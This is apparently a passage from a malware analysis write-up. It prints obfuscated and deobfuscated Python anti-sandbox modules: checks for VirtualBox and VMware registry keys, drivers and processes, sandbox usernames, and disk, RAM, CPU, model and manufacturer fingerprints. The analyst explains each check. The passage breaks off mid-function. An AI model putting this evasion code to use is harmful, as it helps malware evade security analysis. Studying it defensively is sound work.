tdeppk7ikzl6le = os.path.getctime(m8x0iamfyhl) wa0lz82dwqbj5 = (time.time() - tdeppk7ikzl6le) / (24 * 3600) eakbkpbav5k += wa0lz82dwqbj5 zlb4ugl2rsod = f"PREV LOGINS will look for user profiles and their age." qs3loi6xkp88 = f"Found {len(om7aj114_f_wnp)} user profiles with combined age of {int(eakbkpbav5k)} days." nsbrb6y6b = [bytes([119,100,97,103,117,116,105,108,105,116,121,97,99,99,111,117,110,116]).decode("utf-8"), bytes([118,97,103,114,97,110,116]).decode("utf-8"), "".join([chr(115),chr(97),chr(110),chr(100),chr(98),chr(111),chr(120)])] if o1n7titods and o1n7titods.lower() in nsbrb6y6b: uuhxcn7g0lw2fy = 0 qs3loi6xkp88 = f"Detected sandbox user account: {o1n7titods}" elif o1n7titods: uuhxcn7g0lw2fy = 5 qs3loi6xkp88 = f"User account: {o1n7titods}" try: if om7aj114_f_wnp and o1n7titods.lower() in [u.lower() for u in om7aj114_f_wnp]: m8x0iamfyhl = os.path.join(h8ykwah670dykt, o1n7titods) tdeppk7ikzl6le = os.path.getctime(m8x0iamfyhl) a0_d_3 = -66220 aqhlpibhp0_2 = (time.time() - tdeppk7ikzl6le) / (24 * 3600) qs3loi6xkp88 += f" - Profile age: {int(aqhlpibhp0_2)} days" except: pass zl0u47dp = "xnxd" # GWD71qbTLg69QI else: uuhxcn7g0lw2fy = 5 qs3loi6xkp88 = bytes([67,111,117,108,100,32,110,111,116,32,100,101,116,101,99,116,32,99,117,114,114,101,110,116,32,117,115,101,114]).decode("utf-8") except Exception as e: uuhxcn7g0lw2fy = 5 qs3loi6xkp88 = f"Login check skipped due to access restrictions." return uuhxcn7g0lw2fy, zlb4ugl2rsod, qs3loi6xkp88 # WxICHtbAsDVRq

I noticed the creator used more junk code on this file, so I simplified it a bit :

python
# N2l1VtAq3lZKWyo0i9QPBJNlmQs0qu9K0t4Xjw7OhfGS4DmcMerUAbtVOcTPlUIX import os import subprocess import time if os.name == 'nt': import winreg class FileSystem: _KEYS = [ r"SOFTWARE\Oracle\VirtualBox Guest Additions", r"HARDWARE\ACPI\DSDT\VBOX__", r"HARDWARE\ACPI\FADT\VBOX__", r"HARDWARE\ACPI\RSDT\VBOX__", r"SYSTEM\ControlSet001\Services\VBoxGuest", r"SYSTEM\ControlSet001\Services\VBoxMouse", r"SYSTEM\ControlSet001\Services\VBoxService", r"SYSTEM\ControlSet001\Services\VBoxSF", r"SYSTEM\ControlSet001\Services\VBoxVideo", r"SOFTWARE\VMware, Inc.\VMware Tools", ] _FILES = [ r"C:\WINDOWS\system32\drivers\VBoxMouse.sys", r"C:\WINDOWS\system32\drivers\VBoxGuest.sys", r"C:\WINDOWS\system32\drivers\VBoxSF.sys", r"C:\WINDOWS\system32\drivers\VBoxVideo.sys", r"C:\WINDOWS\system32\vboxdisp.dll", r"C:\WINDOWS\system32\vboxhook.dll", r"C:\WINDOWS\system32\vboxmrxnp.dll", r"C:\WINDOWS\system32\vboxogl.dll", r"C:\WINDOWS\system32\vboxoglarrayspu.dll", r"C:\WINDOWS\system32\vboxoglcrutil.dll", r"C:\WINDOWS\system32\vboxoglerrorspu.dll", r"C:\WINDOWS\system32\vboxoglfeedbackspu.dll", r"C:\WINDOWS\system32\vboxoglpackspu.dll", r"C:\WINDOWS\system32\vboxoglpassthroughspu.dll", r"C:\WINDOWS\system32\vboxservice.exe", r"C:\WINDOWS\system32\vboxtray.exe", r"C:\WINDOWS\system32\VBoxControl.exe", r"C:\WINDOWS\system32\drivers\vmmouse.sys", r"C:\WINDOWS\system32\drivers\vmhgfs.sys", r"C:\WINDOWS\system32\drivers\vmusbmouse.sys", r"C:\WINDOWS\system32\drivers\vmkdb.sys", r"C:\WINDOWS\system32\drivers\vmrawdsk.sys", r"C:\WINDOWS\system32\drivers\vmmemctl.sys", r"C:\WINDOWS\system32\drivers\vm3dmp.sys", r"C:\WINDOWS\system32\drivers\vmci.sys", r"C:\WINDOWS\system32\drivers\vmsci.sys", r"C:\WINDOWS\system32\drivers\vmx_svga.sys" ] _PROCESSES = ['vboxservices.exe', 'vboxservice.exe', 'vboxtray.exe', 'xenservice.exe', 'VMSrvc.exe', 'vemusrvc.exe', 'VMUSrvc.exe', 'qemu-ga.exe', 'prl_cc.exe', 'prl_tools.exe', 'vmtoolsd.exe', 'df5serv.exe'] @staticmethod def check_vm_registry_keys(): if os.name != 'nt': return 5, 'VM REGISTRY KEYS are None.', 'This test can only be run on Windows. Considering this test successful.' score1 = 5 description1 = f"REGISTRY KEYS will look for VM related keys." extra1 = None try: hklm = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) for key in FileSystem._KEYS: try: winreg.OpenKey(hklm, key) score1 = 2 extra1 = f"Found VM-related registry key: {key}" except WindowsError as e: continue except Exception as e: score1 = 5 extra1 = 'Could not access registry' return score1, description1, extra1 @staticmethod def check_vm_files(): if os.name != 'nt': return 5, 'VM RELATED FILES are None.', 'This test can only be run on Windows. Considering this test successful.' score2 = 5 description2 = f"FILES will look for VM related files." extra2 = None for file in FileSystem._FILES: if os.path.exists(file): score2 = min(score2, 2) if extra2: extra2 += f"\nFound VM-related file: {file}" else: extra2 = f"Found VM-related file: {file}" return score2, description2, extra2 @staticmethod def check_vm_processes(): if os.name != 'nt': return 5, 'VM RELATED PROCESSES are None.', 'This test can only be run on Windows. Considering this test successful.' score3 = 5 description3 = f"PROCESSES will look for VM related processes." extra3 = None try: result = "" try: result = subprocess.check_output('powershell "Get-Process | Select-Object ProcessName"').decode() except: try: result = subprocess.check_output('wmic process get name', shell=True).decode() except: try: result = subprocess.check_output('tasklist', shell=True).decode() except: score3 = 5 extra3 = 'Process check skipped - could not access process list' return score3, description3, extra3 result = result.lower() for proc in FileSystem._PROCESSES: if proc.lower() in result: score3 = min(score3, 2) if extra3: extra3 += f"\nFound VM-related process: {proc}" else: extra3 = f"Found VM-related process: {proc}" except Exception as e: score3 = 5 extra3 = 'Process check skipped due to access restrictions.' return score3, description3, extra3 @staticmethod def check_wifi_connections(): return 5, 'WIFI check disabled.', None @staticmethod def check_application_files(): return 5, 'Application files check disabled.', None @staticmethod def check_prev_logins(): if os.name != 'nt': return 5, 'PREV LOGINS are None.', 'This test can only be run on Windows. Considering this test successful.' try: username = os.getenv("USERNAME") USER_PATH = os.path.join('C:\\Users') if not os.path.exists(USER_PATH): score4 = 5 return score4, 'PREV LOGINS check skipped.', 'Could not access Users directory.' dir_list = [] try: dir_list = [d for d in os.listdir(USER_PATH) if os.path.isdir(os.path.join(USER_PATH, d)) and d.lower() not in ['public', 'default', 'default user', 'all users', 'defaultapppool', 'system'] and not d.endswith("$")] except PermissionError: score4 = 5 return score4, 'PREV LOGINS check skipped.', 'Permission denied accessing Users directory.' nbr_of_days = 0 for dirz in dir_list: dir_full_path = os.path.join(USER_PATH, dirz) if os.path.exists(dir_full_path): current_time = os.path.getctime(dir_full_path) day = (time.time() - current_time) / (24 * 3600) nbr_of_days += day description4 = f"PREV LOGINS will look for user profiles and their age." extra4 = f"Found {len(dir_list)} user profiles with combined age of {int(nbr_of_days)} days." analyst_users = ['wdagutilityaccount', 'vagrant', 'sandbox'] if username and username.lower() in analyst_users: score4 = 0 extra4 = f"Detected sandbox user account: {username}" elif username: score4 = 5 extra4 = f"User account: {username}" try: if dir_list and username.lower() in [u.lower() for u in dir_list]: dir_full_path = os.path.join(USER_PATH, username) current_time = os.path.getctime(dir_full_path) count_day = (time.time() - current_time) / (24 * 3600) extra4 += f" - Profile age: {int(count_day)} days" except: pass else: score4 = 5 extra4 = 'Could not detect current user' except Exception as e: score4 = 5 extra4 = f"Login check skipped due to access restrictions." return score4, description4, extra4

The FileSystem class is responsible for detecting virtual machine artifacts at the filesystem level. It operates exclusively on Windows (os.name == 'nt') and returns a score from 0 to 5 for each check.

The first function check_vm_registry_keys() searches HKEY_LOCAL_MACHINE for registry keys known to be created by VirtualBox and VMware (guest additions, drivers, services). Finding any of them drops the score to 2.

The second function check_vm_files() checks for the physical presence of VM-related driver and executable files on disk, VirtualBox (.sys, .dll, .exe) and VMware drivers. Each file found reduces the score, but never below 2.

The third one check_vm_processes() lists running processes via PowerShell, WMIC, or tasklist (three fallbacks) and looks for known VM guest agent processes such as vboxservice.exe, vmtoolsd.exe, or qemu-ga.exe.

The last one check_prev_logins() inspects C:\Users\ to count user profiles and measure their age in days. More importantly, it checks the current username against a hardcoded list of known sandbox accounts : wdagutilityaccount, vagrant, and sandbox, a match immediately returns score 0.

Others functions are disabled by the creator...

sys_spec.py — Hardware Fingerprinting

python
# WlSQZhiLth9vDjrhYU3AVmhjqo84TvJtpgPGMwzn6L9uj9GAobWq124GOkumCkVb import os import subprocess import math import platform class Specs: @staticmethod def check_hard_drive(): if os.name == bytes([110,116]).decode("utf-8"): # Windows try: ncqa55kqto63ao = (chr(71)+chr(101)+chr(116)+chr(45)+chr(80)+chr(83)+chr(68)+chr(114)+chr(105)+chr(118)+chr(101)+chr(32)+chr(67)+chr(32)+chr(124)+chr(32)+chr(83)+chr(101)+chr(108)+chr(101)+chr(99)+chr(116)+chr(45)+chr(79)+chr(98)+chr(106)+chr(101)+chr(99)+chr(116)+chr(32)+chr(85)+chr(115)+chr(101)+chr(100)+chr(44)+chr(70)+chr(114)+chr(101)+chr(101)) o91kpkpec_ = subprocess.check_output([bytes([112,111,119,101,114,115,104,101,108,108]).decode("utf-8"), "".join([chr(45),chr(67),chr(111),chr(109),chr(109),chr(97),chr(110),chr(100)]), ncqa55kqto63ao], shell=True).decode() eqz9zj6cj = o91kpkpec_.split('\n') for r826em9coa in eqz9zj6cj[3:]: if r826em9coa.strip(): ogvsj33tfv = r826em9coa.split() kcx874ct = int(ogvsj33tfv[0]) vzenvr = -53305 sr_x_4xqsyn6v = int(ogvsj33tfv[1]) wspq0j95 = kcx874ct + sr_x_4xqsyn6v break except Exception as e: try: ncqa55kqto63ao = 'dir C:\\' o91kpkpec_ = subprocess.check_output(ncqa55kqto63ao, shell=True).decode() eqz9zj6cj = o91kpkpec_.split('\n') for r826em9coa in eqz9zj6cj: if bytes([98,121,116,101,115,32,102,114,101,101]).decode("utf-8") in r826em9coa.lower(): fg2hitlh_s3 = r826em9coa.strip() sr_x_4xqsyn6v = int(''.join(c for c in fg2hitlh_s3.split()[0] if c.isdigit())) wspq0j95 = sr_x_4xqsyn6v * 2 kcx874ct = wspq0j95 - sr_x_4xqsyn6v break except: wspq0j95 = 500 * (2**30) sr_x_4xqsyn6v = 250 * (2**30) uvz4v9 = 22 | 33 kcx874ct = 250 * (2**30) jlo4rfsgm = math.ceil(wspq0j95 / (2 ** 30)) # DjMydQkwzl gtlquhm9t = math.ceil(kcx874ct / (2 ** 30)) epvdjlowjz = math.ceil(sr_x_4xqsyn6v / (2 ** 30)) # 8fJjoD46ryVkp f4grk72wag = (kcx874ct / wspq0j95) * 100 if wspq0j95 > 0 else 50 xro09w2_ts53 = f"HARD DRIVE has a total storage of {jlo4rfsgm} GigaBytes (Used: {gtlquhm9t} GB, Free: {epvdjlowjz} GB)" ybolj3u5f = None # lDlaI1Vul a9njkb = (9, 57, 41, 8) if jlo4rfsgm < 20: ygz89nzilnu = 0 ybolj3u5f = "".join([chr(86),chr(101),chr(114),chr(121),chr(32),chr(115),chr(109),chr(97),chr(108),chr(108),chr(32),chr(115),chr(116),chr(111),chr(114),chr(97),chr(103),chr(101),chr(44),chr(32),chr(98),chr(117),chr(116),chr(32),chr(112),chr(111),chr(115),chr(115),chr(105),chr(98),chr(108),chr(101),chr(32),chr(102),chr(111),chr(114),chr(32),chr(98),chr(97),chr(115),chr(105),chr(99),chr(32),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(115),chr(46)]) rmiiju2 = (47, 44, 32, 18) elif jlo4rfsgm < 50: ygz89nzilnu = 3 ybolj3u5f = (chr(83)+chr(109)+chr(97)+chr(108)+chr(108)+chr(32)+chr(98)+chr(117)+chr(116)+chr(32)+chr(97)+chr(99)+chr(99)+chr(101)+chr(112)+chr(116)+chr(97)+chr(98)+chr(108)+chr(101)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(117)+chr(115)+chr(97)+chr(103)+chr(101)+chr(46)) elif jlo4rfsgm < 8060: ygz89nzilnu = 4 ybolj3u5f = "".join([chr(67),chr(111),chr(109),chr(109),chr(111),chr(110),chr(32),chr(115),chr(105),chr(122),chr(101),chr(32),chr(102),chr(111),chr(114),chr(32),chr(98),chr(97),chr(115),chr(105),chr(99),chr(32),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(115),chr(46)]) elif jlo4rfsgm < 120: ygz89nzilnu = 4 ybolj3u5f = (chr(67)+chr(111)+chr(109)+chr(109)+chr(111)+chr(110)+chr(32)+chr(115)+chr(105)+chr(122)+chr(101)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(83)+chr(83)+chr(68)+chr(115)+chr(46)) else: ygz89nzilnu = 5 return ygz89nzilnu, xro09w2_ts53, ybolj3u5f @staticmethod def check_ram_space(): x8xcna6t = 0 if os.name == (chr(110)+chr(116)): # Windows try: tyzsu1f2x = bytes([71,101,116,45,67,105,109,73,110,115,116,97,110,99,101,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,124,32,83,101,108,101,99,116,45,79,98,106,101,99,116,32,84,111,116,97,108,80,104,121,115,105,99,97,108,77,101,109,111,114,121]).decode("utf-8") z7kz0wm34dbv = subprocess.check_output([bytes([112,111,119,101,114,115,104,101,108,108]).decode("utf-8"), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), tyzsu1f2x], shell=True).decode() x8xcna6t = int(z7kz0wm34dbv.split('\n')[3]) / (2 ** 30) except: pass else: # Unix/Linux/Mac try: z7kz0wm34dbv = subprocess.check_output([(chr(115)+chr(121)+chr(115)+chr(99)+chr(116)+chr(108)), bytes([45,110]).decode("utf-8"), (chr(104)+chr(119)+chr(46)+chr(109)+chr(101)+chr(109)+chr(115)+chr(105)+chr(122)+chr(101))]).decode() hr3uq_i = True x8xcna6t = int(z7kz0wm34dbv) / (2 ** 30) cbu_cq = 43 + 36 except: try: with open("".join([chr(47),chr(112),chr(114),chr(111),chr(99),chr(47),chr(109),chr(101),chr(109),chr(105),chr(110),chr(102),chr(111)])) as f: for nclr836d in f: if bytes([77,101,109,84,111,116,97,108]).decode("utf-8") in nclr836d: x8xcna6t = int(nclr836d.split()[1]) / (2 ** 20) except: pass x8xcna6t = math.ceil(x8xcna6t) if type(31) == str: ao52d = 9996 hxgxvxcna7p6 = f"RAM has a total storage of {x8xcna6t} GigaBytes." x2fqfeo9ap_ = None if x8xcna6t < 2: yoc66nxjbafo = 0 mkxs_a1t = {5: 0} x2fqfeo9ap_ = bytes([76,111,119,32,82,65,77,32,98,117,116,32,112,111,115,115,105,98,108,101,32,102,111,114,32,98,97,115,105,99,32,115,121,115,116,101,109,115,46]).decode("utf-8") elif x8xcna6t < 4: yoc66nxjbafo = 3 x2fqfeo9ap_ = (chr(83)+chr(117)+chr(102)+chr(102)+chr(105)+chr(99)+chr(105)+chr(101)+chr(110)+chr(116)+chr(32)+chr(82)+chr(65)+chr(77)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(117)+chr(115)+chr(97)+chr(103)+chr(101)+chr(46)) elif x8xcna6t < 8: yoc66nxjbafo = 4 x2fqfeo9ap_ = bytes([67,111,109,109,111,110,32,82,65,77,32,115,105,122,101,32,102,111,114,32,109,111,100,101,114,110,32,115,121,115,116,101,109,115,46]).decode("utf-8") else: yoc66nxjbafo = 5 aht09cb = "qgdPxiXyoa" return yoc66nxjbafo, hxgxvxcna7p6, x2fqfeo9ap_ @staticmethod def check_cpu_cores(): # 86iysMccOIOubq86MT7 thcqsewbz = 1 cw46tij_d = {5: 8} if os.name == (chr(110)+chr(116)): # Windows try: m1gm2tw4 = "".join([chr(71),chr(101),chr(116),chr(45),chr(67),chr(105),chr(109),chr(73),chr(110),chr(115),chr(116),chr(97),chr(110),chr(99),chr(101),chr(32),chr(87),chr(105),chr(110),chr(51),chr(50),chr(95),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(111),chr(114),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(78),chr(117),chr(109),chr(98),chr(101),chr(114),chr(79),chr(102),chr(76),chr(111),chr(103),chr(105),chr(99),chr(97),chr(108),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(111),chr(114),chr(115)]) u4_openl7gtz = subprocess.check_output([(chr(112)+chr(111)+chr(119)+chr(101)+chr(114)+chr(115)+chr(104)+chr(101)+chr(108)+chr(108)), (chr(45)+chr(67)+chr(111)+chr(109)+chr(109)+chr(97)+chr(110)+chr(100)), m1gm2tw4], shell=True).decode() thcqsewbz = int(u4_openl7gtz.split('\n')[3]) except: pass else: # Unix/Linux/Mac try: thcqsewbz = len(os.sched_getaffinity(0)) except: try: thcqsewbz = os.cpu_count() except: pass fgkhirck4ux9 = f"CPU has a total of {thcqsewbz} logical cores." qytu0stggcv = None i5pccnq6c0 = -66988 if thcqsewbz < 2: a92p5ym3 = 0 qytu0stggcv = (chr(83)+chr(105)+chr(110)+chr(103)+chr(108)+chr(101)+chr(32)+chr(99)+chr(111)+chr(114)+chr(101)+chr(32)+chr(98)+chr(117)+chr(116)+chr(32)+chr(112)+chr(111)+chr(115)+chr(115)+chr(105)+chr(98)+chr(108)+chr(101)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(115)+chr(46)) elif thcqsewbz < 4: a92p5ym3 = 3 qytu0stggcv = (chr(68)+chr(117)+chr(97)+chr(108)+chr(32)+chr(99)+chr(111)+chr(114)+chr(101)+chr(44)+chr(32)+chr(99)+chr(111)+chr(109)+chr(109)+chr(111)+chr(110)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(115)+chr(46)) elif thcqsewbz < 6: a92p5ym3 = 4 d11t81o6 = "XFHkKvTEEU" qytu0stggcv = (chr(81)+chr(117)+chr(97)+chr(100)+chr(32)+chr(99)+chr(111)+chr(114)+chr(101)+chr(44)+chr(32)+chr(116)+chr(121)+chr(112)+chr(105)+chr(99)+chr(97)+chr(108)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(109)+chr(111)+chr(100)+chr(101)+chr(114)+chr(110)+chr(32)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(115)+chr(46)) else: a92p5ym3 = 5 return a92p5ym3, fgkhirck4ux9, qytu0stggcv _MODELS = [ bytes([118,105,114,116,117,97,108,98,111,120]).decode("utf-8"), bytes([118,109,119,97,114,101]).decode("utf-8"), "".join([chr(107),chr(118),chr(109)]), bytes([118,105,114,116,117,97,108,32,109,97,99,104,105,110,101]).decode("utf-8"), bytes([113,101,109,117]).decode("utf-8"), (chr(120)+chr(101)+chr(110)), bytes([104,121,112,101,114,118]).decode("utf-8"), bytes([104,121,112,101,114,45,118]).decode("utf-8"), (chr(112)+chr(97)+chr(114)+chr(97)+chr(108)+chr(108)+chr(101)+chr(108)+chr(115)), "".join([chr(118),chr(105),chr(114),chr(116),chr(117),chr(97),chr(108),chr(32),chr(112),chr(108),chr(97),chr(116),chr(102),chr(111),chr(114),chr(109)]), bytes([118,109,32,112,108,97,116,102,111,114,109]).decode("utf-8"), bytes([118,115,112,104,101,114,101]).decode("utf-8"), (chr(112)+chr(114)+chr(111)+chr(120)+chr(109)+chr(111)+chr(120)), bytes([99,105,116,114,105,120]).decode("utf-8"), (chr(111)+chr(114)+chr(97)+chr(99)+chr(108)+chr(101)+chr(32)+chr(118)+chr(109)), (chr(98)+chr(111)+chr(99)+chr(104)+chr(115)), bytes([118,105,114,116,117,97,108,32,112,99]).decode("utf-8"), bytes([99,108,111,117,100,32,112,99]).decode("utf-8"), (chr(115)+chr(104)+chr(97)+chr(100)+chr(111)+chr(119)+chr(32)+chr(112)+chr(99)), "".join([chr(97),chr(109),chr(97),chr(122),chr(111),chr(110),chr(32),chr(101),chr(99),chr(50)]), "".join([chr(103),chr(111),chr(111),chr(103),chr(108),chr(101),chr(32),chr(99),chr(111),chr(109),chr(112),chr(117),chr(116),chr(101),chr(32),chr(101),chr(110),chr(103),chr(105),chr(110),chr(101)]), bytes([97,122,117,114,101,32,118,105,114,116,117,97,108,32,109,97,99,104,105,110,101]).decode("utf-8"), bytes([98,104,121,118,101]).decode("utf-8"), bytes([118,105,114,116,117,97,108,32,100,101,115,107,116,111,112]).decode("utf-8"), (chr(115)+chr(97)+chr(110)+chr(100)+chr(98)+chr(111)+chr(120)), ] @staticmethod def check_model(): if os.name == (chr(110)+chr(116)): neceul5_jp = None k3kczt2n5 = None try: yyt198p7_y = "".join([chr(71),chr(101),chr(116),chr(45),chr(67),chr(105),chr(109),chr(73),chr(110),chr(115),chr(116),chr(97),chr(110),chr(99),chr(101),chr(32),chr(87),chr(105),chr(110),chr(51),chr(50),chr(95),chr(67),chr(111),chr(109),chr(112),chr(117),chr(116),chr(101),chr(114),chr(83),chr(121),chr(115),chr(116),chr(101),chr(109),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(77),chr(111),chr(100),chr(101),chr(108)]) ghbxh3fyh = subprocess.check_output(["".join([chr(112),chr(111),chr(119),chr(101),chr(114),chr(115),chr(104),chr(101),chr(108),chr(108)]), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), yyt198p7_y], shell=True).decode() neceul5_jp = ghbxh3fyh.split('\n')[3].strip() if neceul5_jp.lower() in Specs._MODELS: pwpvdgknf6ecg8 = 0 k3kczt2n5 = (chr(77)+chr(79)+chr(68)+chr(69)+chr(76)+chr(32)+chr(104)+chr(97)+chr(115)+chr(32)+chr(98)+chr(101)+chr(101)+chr(110)+chr(32)+chr(108)+chr(105)+chr(110)+chr(107)+chr(101)+chr(100)+chr(32)+chr(116)+chr(111)+chr(32)+chr(97)+chr(32)+chr(118)+chr(105)+chr(114)+chr(116)+chr(117)+chr(97)+chr(108)+chr(32)+chr(109)+chr(97)+chr(99)+chr(104)+chr(105)+chr(110)+chr(101)+chr(46)) else: pwpvdgknf6ecg8 = 5 except Exception as e: pwpvdgknf6ecg8 = 5 k3kczt2n5 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}" yvh0co472c = f"MODEL is {neceul5_jp}." return pwpvdgknf6ecg8, yvh0co472c, k3kczt2n5 else: return 5, (chr(77)+chr(79)+chr(68)+chr(69)+chr(76)+chr(32)+chr(105)+chr(115)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101)+chr(46)), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46)) _MANUFACTURER = [ "".join([chr(105),chr(110),chr(110),chr(111),chr(116),chr(101),chr(107)]), (chr(118)+chr(109)+chr(119)+chr(97)+chr(114)+chr(101)), bytes([113,101,109,117]).decode("utf-8"), "".join([chr(120),chr(101),chr(110)]), bytes([112,97,114,97,108,108,101,108,115]).decode("utf-8"), "".join([chr(111),chr(114),chr(97),chr(99),chr(108),chr(101)]), (chr(99)+chr(105)+chr(116)+chr(114)+chr(105)+chr(120)), "".join([chr(114),chr(101),chr(100),chr(32),chr(104),chr(97),chr(116)]), (chr(112)+chr(114)+chr(111)+chr(120)+chr(109)+chr(111)+chr(120)), (chr(97)+chr(109)+chr(97)+chr(122)+chr(111)+chr(110)+chr(32)+chr(119)+chr(101)+chr(98)+chr(32)+chr(115)+chr(101)+chr(114)+chr(118)+chr(105)+chr(99)+chr(101)+chr(115)), (chr(103)+chr(111)+chr(111)+chr(103)+chr(108)+chr(101)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)), (chr(109)+chr(105)+chr(99)+chr(114)+chr(111)+chr(115)+chr(111)+chr(102)+chr(116)+chr(32)+chr(97)+chr(122)+chr(117)+chr(114)+chr(101)), bytes([118,105,114,116,117,97,108,98,111,120]).decode("utf-8"), "".join([chr(100),chr(111),chr(99),chr(107),chr(101),chr(114)]), (chr(110)+chr(117)+chr(116)+chr(97)+chr(110)+chr(105)+chr(120)), bytes([99,108,111,117,100]).decode("utf-8"), "".join([chr(118),chr(97),chr(103),chr(114),chr(97),chr(110),chr(116)]), (chr(107)+chr(117)+chr(98)+chr(101)+chr(114)+chr(110)+chr(101)+chr(116)+chr(101)+chr(115)), "".join([chr(111),chr(112),chr(101),chr(110),chr(115),chr(116),chr(97),chr(99),chr(107)]), (chr(100)+chr(105)+chr(103)+chr(105)+chr(116)+chr(97)+chr(108)+chr(32)+chr(111)+chr(99)+chr(101)+chr(97)+chr(110)), bytes([108,105,110,111,100,101]).decode("utf-8"), bytes([118,117,108,116,114]).decode("utf-8"), (chr(105)+chr(98)+chr(109)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)), (chr(97)+chr(108)+chr(105)+chr(98)+chr(97)+chr(98)+chr(97)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)), bytes([104,117,97,119,101,105,32,99,108,111,117,100]).decode("utf-8"), (chr(116)+chr(101)+chr(110)+chr(99)+chr(101)+chr(110)+chr(116)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)), ] @staticmethod def check_manufacturer(): if os.name == bytes([110,116]).decode("utf-8"): gubu4t10 = None pag3wkoumky0 = None try: yypis_mnon_u3t = "".join([chr(71),chr(101),chr(116),chr(45),chr(67),chr(105),chr(109),chr(73),chr(110),chr(115),chr(116),chr(97),chr(110),chr(99),chr(101),chr(32),chr(87),chr(105),chr(110),chr(51),chr(50),chr(95),chr(67),chr(111),chr(109),chr(112),chr(117),chr(116),chr(101),chr(114),chr(83),chr(121),chr(115),chr(116),chr(101),chr(109),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(77),chr(97),chr(110),chr(117),chr(102),chr(97),chr(99),chr(116),chr(117),chr(114),chr(101),chr(114)]) o9s9mq5lho = subprocess.check_output([(chr(112)+chr(111)+chr(119)+chr(101)+chr(114)+chr(115)+chr(104)+chr(101)+chr(108)+chr(108)), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), yypis_mnon_u3t], shell=True).decode() gubu4t10 = o9s9mq5lho.split('\n')[3].strip() if gubu4t10.lower() in Specs._MANUFACTURER: fpubhun0 = 0 mf0k728 = False pag3wkoumky0 = "".join([chr(77),chr(65),chr(78),chr(85),chr(70),chr(65),chr(67),chr(84),chr(85),chr(82),chr(69),chr(82),chr(32),chr(104),chr(97),chr(115),chr(32),chr(98),chr(101),chr(101),chr(110),chr(32),chr(108),chr(105),chr(110),chr(107),chr(101),chr(100),chr(32),chr(116),chr(111),chr(32),chr(97),chr(32),chr(118),chr(105),chr(114),chr(116),chr(117),chr(97),chr(108),chr(32),chr(109),chr(97),chr(99),chr(104),chr(105),chr(110),chr(101),chr(46)]) else: fpubhun0 = 5 except Exception as e: fpubhun0 = 5 pag3wkoumky0 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}" im4ff1vmky4 = f"MANUFACTURER is {gubu4t10}." return fpubhun0, im4ff1vmky4, pag3wkoumky0 else: return 5, "".join([chr(77),chr(65),chr(78),chr(85),chr(70),chr(65),chr(67),chr(84),chr(85),chr(82),chr(69),chr(82),chr(32),chr(105),chr(115),chr(32),chr(78),chr(111),chr(110),chr(101),chr(46)]), 